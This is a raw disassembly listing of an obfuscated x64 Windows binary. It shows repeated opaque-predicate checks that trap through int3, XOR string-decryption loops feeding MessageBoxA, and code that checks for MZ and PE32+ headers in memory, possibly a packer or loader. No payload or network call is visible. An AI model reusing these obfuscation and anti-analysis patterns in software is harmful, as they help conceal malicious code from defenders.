mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b15c
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b15c
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b17c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.140028454
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400b0400
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001b247
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b227
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b227
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b247
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001b2fb
mov rax, qword gs:[0xd]
movabs rcx, 0xee84212ad7c507c8
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b2db
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b2db
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b2fb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.140028b50
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001b3b3
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b393
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b393
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b3b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001b470
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b450
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b450
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b470
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r14
mov r8d, r14d
mov rdi, r14
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
add rdi, r13
cmp r8d, 8
jb 0x14001b49d
mov esi, r14d
movabs r11, 0x8080808080808081
test r15, r15
je 0x14001b5c0
mov rcx, r14
mov rax, r11
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, rbx
mov r12, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r11d, r13d
add rbx, r13
cmp r11d, 8
jb 0x14001b52e
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
add esi, r13d
add r9, r13
movsxd rcx, esi
cmp rcx, r15
jb 0x14001b510
mov rbx, qword [rbp - 0x40]
xor r14d, r14d
mov r12d, 0x67a550cd
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x2c]
movabs rsi, 0xee84212ad7c507c8
cmp rax, r12
jne 0x14001b674
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b654
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b654
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b674
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
mov r15d, 0x76bfe48f
cmp rax, r12
jne 0x14001b724
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b704
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b704
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b724
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x14001b7ce
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b7ae
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b7ae
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b7ce
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rcx, qword gs:[0x2c]
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x14001bbba
cmp rcx, r12
jne 0x14001b899
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b879
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b879
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b899
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbee0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0x5d
mov r10, r14
movabs rbx, 0x10dca5afa
movabs r8, 0x11ea700a9a
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x23d4e01534
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x10dca5af9
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
add r10, r13
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001b8e3
mov byte [rbp + 0x2a1], r14b
movdqa xmm0, xmmword [0x1400dbcc0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400dbd10]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400dbd30]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x13ba69ac
mov dword [rbp + 0xc8c], 0xdf80278e
mov dword [rbp + 0xc90], 0x87caa358
mov word [rbp + 0xc94], 0x50
mov r9, r14
mov rsi, r15
mov r10d, 0x3d
movabs r8, 0x404937ad92
movabs r11, 0x80926f5b24
mov r15d, 0x76bfe48f
movabs r12, 0x10dca5af9
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
add r9, r13
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001b9d5
mov byte [rbp + 0xc95], r14b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2c]
mov r12d, 0x67a550cd
cmp rax, r12
movabs rsi, 0xee84212ad7c507c8
jne 0x14001bb0c
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001baec
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001baec
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bb0c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140027620
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bb9a
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bb9a
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027620
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
cmp rcx, r12
jne 0x14001bc5b
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bc3b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bc3b
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bc5b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movsxd r13, dword [rbx + 0x3c]
add r13, rbx
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x2c]
mov ebx, 0x111ab442
cmp rax, r12
jne 0x14001bd28
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bd08
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bd08
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bd28
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x14001c118
cmp rax, r12
jne 0x14001bdf3
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bdd3
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bdd3
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bdf3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbee0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0x5d
mov r10, r14
movabs rbx, 0x10dca5afa
movabs r8, 0x11ea700a9a
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x23d4e01534
lea r13d, [r11 - 0x10]
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x10dca5af9
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
add r10, r13
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001be41
mov byte [rbp + 0x3d9], r14b
movdqa xmm0, xmmword [0x1400dbcc0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400dbd20]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400dbd30]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x13ba69ac
mov dword [rbp + 0xccc], 0xdf80278e
mov dword [rbp + 0xcd0], 0x87caa358
mov word [rbp + 0xcd4], 0x50
mov r9, r14
mov rsi, r15
movabs r8, 0x404937ad92
mov r10d, 0x3d
movabs r11, 0x80926f5b24
mov r15d, 0x76bfe48f
movabs r12, 0x10dca5af9
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
add r9, r13
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001bf33
mov byte [rbp + 0xcd5], r14b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2c]
mov r12d, 0x67a550cd
cmp rax, r12
movabs rsi, 0xee84212ad7c507c8
jne 0x14001c06a
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c04a
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c04a
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c06a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, r12
jne 0x140027620
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c0f8
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c0f8
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027620
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
cmp rax, r12
jne 0x14001c1b9
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c199
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c199
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c1b9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400dbed0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0xce7e1cc8
mov dword [rbp + 0x98c], 0x3cadd91f
mov dword [rbp + 0x990], 0x70c9d5c9
mov word [rbp + 0x994], 0x5b7a
mov byte [rbp + 0x996], al
mov r8, r14
movabs rsi, 0x10dca5af9
movabs r9, 0x1f9db6a94c
lea r10d, [rax + 0x1e]
movabs r12, 0x10dca5afa
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x3f3b6d5298
cmp r9, rax
jb 0x14001c22e
mov byte [rbp + 0x996], r14b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400dbf80]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400dbc90]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r14
movabs r9, 0x20ab810446
mov r10d, Ordinal_35
movabs r15, 0x415702088c
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xad8]
xor dil, r8b
mov byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, r15
jb 0x14001c2e7
mov byte [rbp + 0xaf7], r14b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.14002762c
mov rax, qword gs:[0x2c]
mov esi, 0x67a550cd
cmp rax, rsi
mov r15d, 0x76bfe48f
movabs rdi, 0xee84212ad7c507c8
jne 0x14001c463
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c443
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c443
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c463
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001c50d
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c4ed
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c4ed
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c50d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
xor ecx, ecx
call fcn.140092074
mov rcx, rax
call fcn.14008d954
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001c5c6
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c5a6
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c5a6
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c5c6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001c670
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c650
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c650
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c670
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001c71a
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c6fa
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c6fa
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c71a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001c7d5
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c7b5
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c7b5
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c7d5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14001c890
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rbx
div rcx
